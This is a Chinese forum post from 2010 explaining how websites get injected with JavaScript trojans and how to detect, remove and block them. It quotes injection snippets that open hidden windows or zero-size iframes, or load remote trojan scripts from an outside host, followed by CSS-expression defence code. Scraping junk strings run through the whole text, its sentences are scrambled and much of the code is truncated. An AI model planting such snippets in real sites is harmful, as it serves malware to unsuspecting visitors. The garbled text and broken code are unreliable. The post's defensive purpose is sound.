搜索
查看: 11657|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

* F; ?2 S1 h0 s) G9 R3 c

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

7 K/ r3 j% }1 Q, O

IFRAME 和 JS 脚本挂马。

, b3 g( W7 K; u1 M) C" r% j& p; r

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

" `( J# A* ]) x5 b% s) C+ m

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

c d4 f4 w3 b2 v! h

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

) i3 I1 Z6 A# g) h

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

P; {- X6 `1 X6 [. v9 @& A Y

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

# N, z$ c% M: R( T7 _

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

9 y+ w$ H; @ r( G6 S3 G

。一千多位会员的 ID

* b4 ~/ i3 m1 S' {6 \' ?* z: F. ~

2: 如何检测网页是否被挂马。

A. }# I N: D- W

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

# B* y0 _9 @ Z, L6 Z, j

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

, O- [$ q4 b/ N- C

因素。
2 googl 检测。>

4 R1 k: W9 A4 @4 ^! G) T/ U* O4 l

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

1 e8 \% P; {- Y7 S N, }+ q- P

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

9 }9 g& D/ w" G) d, v. C' x

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

; ~9 {4 q3 M7 H+ S1 k

5 f: o: B0 N" t* |0 l! n, p

3: 如何清除网页木马。

5 S/ k' t1 l' _

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

]4 o+ l5 \+ l& Q! [ U. z

入源文件把相关的网页挂马种类的可疑代码删除。

* v1 u* u, f" Y. y7 o. {

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

# ~( @) a; ]' x

悉。>

" T" h5 f6 y4 a

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

. y; h7 u8 u) ]0 U: b0 h) g

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

) [0 X; G: y% V; Z* M8 }% W

2 保证你所使用的顺序及时的更新。

L* h$ R, l9 a% |. x+ B

3 不要在前台网页上加注后台管理程序登陆页面的链接。

" _6 Z: D4 ?( D7 ?

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

1 g, F2 O% ~2 N+ ?% _9 U

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

; p* p" q& d# A+ v& C9 x1 s5 M

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

3 Z: G. T( @2 F6 Z: A

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

2 ~, I% g7 N0 W7 _ @9 E3 U

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

' z5 d0 m V7 H$ z

+ S% ]7 }! B, @* u7 ^

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

: _6 ^( y* L& B) u+ b

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

3 W( M& i9 G+ v9 u

JS 挂马溯源

. D/ x2 ~5 ]( q/ r

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

3 `2 E7 j" O3 P2 ~% G" C

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

, v' ]" Z0 |0 S. T1 V" O6 v$ f/ ?

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

. t' g: c$ I( {5 G! l

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

% O/ q S0 h8 B6 f& \, |

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

+ ?) ]" Q- S$ S" t3 A- ?6 g2 M# e U

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

/ S+ Y) M$ `6 S, N

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

8 d- J9 u% z7 |& L0 N

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

; E/ `( [/ d# r) a E& j. N! h

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

4 L% e% y* b/ Z w- H, ~# M# H

脚本在工作中会有很大的协助。

# H8 |8 i: K0 O* R% S; s

挂马原理一点通

7 f: u3 U7 v/ {& } L: C

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

: j% ?9 i: W5 `% a- w

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

3 L- G5 @3 Z4 W

无从区分木马在何处。

1 D. [/ ]( F6 \, k0 R$ V

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

2 m. m* P. U6 W8 W4 X& s0 n

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

1 }, V2 _, u+ k! w! c

容易蒙混过关,导致木马久杀不绝。

; n& o8 h5 _" l% r

JS 挂马攻防实录

- H9 u% b( J5 R1 g) ~/ ^

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

* v$ H: p) d. z, W3 ^, L

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

2 j4 K( s: F6 T% q

这种方法使用的关键代码如下:

( M! z% h6 b7 w0 s3 J B5 d

"",  window.open "http://www.v404.cn/ 木马

c! a$ v# R" H9 ]

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

* A' v( R7 i& r, Y( C2 U( z

" x, g- ]& b m3 H, m

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

$ C6 l6 x% X( |; I k7 a

但是设置为 0 后,可能会出现恶意代码不运行的情况。

K3 p, ]9 Z9 O6 }# u X

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

' U' ?1 d& `' I+ w! T6 H" x# H

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

5 d; O# j' m0 o b. p

2 e: N9 v3 J+ s- n' a- G

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

& Y& ]/ u+ F$ |' {! \* ~- J, y

" N2 @( l5 G6 V& u2 x6 H( p/ `

或者

2 d! p/ s) y- x- x5 C, |

document.writ "<div style='display:none'>"

a1 N9 ?% N' ^. Y

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

. v. j7 h8 u0 L+ ?+ S

document.writ "</div>"
 

# R: `6 m. V" p! y

+ C+ h: h2 d0 V8 o# p: P' w5 x

就成功地将木马挂到对方的网页中了

1 B* J: z% [: a1 {. s1 y7 w

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

: w+ f d; d. |" G- p

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

: b! P) n# A# y6 ` J" B' |( X. q0 {' {

或者:

; I/ B1 y( {8 L& v$ z0 S) r. ]

<ifram src="vbscript:[ 挂马脚本 ]">

a' a$ a! J7 L- Z, b6 s5 n# r/ r! \0 B

5 o* ]. Z" J% U# Q" P


等等 …

' i. x# t% [3 E/ Q

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

, q/ _3 H7 p3 u9 G

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

: M5 n/ J2 L! I* m

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

- R! i+ v6 H5 ^ j9 m: C' @8 M

;}

& Q* [3 {' B+ a' D0 b

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

7 V! k$ Y1 U$ M% t

& ~" P9 o `3 c2 Q1 z+ f" g5 V

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

- W; e0 L' }9 _. n' u1 b, G5 ]

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

3 D$ P0 v+ E1 `/ k& d% l

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

- M) a) o7 m5 C) a. s

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

" ?* G6 M& a- x

<title> 让 JS 挂马中止的 CSS 代码 </title>

- P9 \/ Y2 l3 P4 o

<styl type="text/css" id="shudoo">

W; D1 h2 j# K3 Q W+ W

/*<![CDATA[*/

% [# r9 F8 a* g8 J8 U7 c- {+ q0 h

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

b7 F) L) `" H, A) M% V" a

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

5 D7 t7 t. }* _4 i) F+ t5 [

/*]]>*/

( Q" t3 ]; X& B0 Q

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表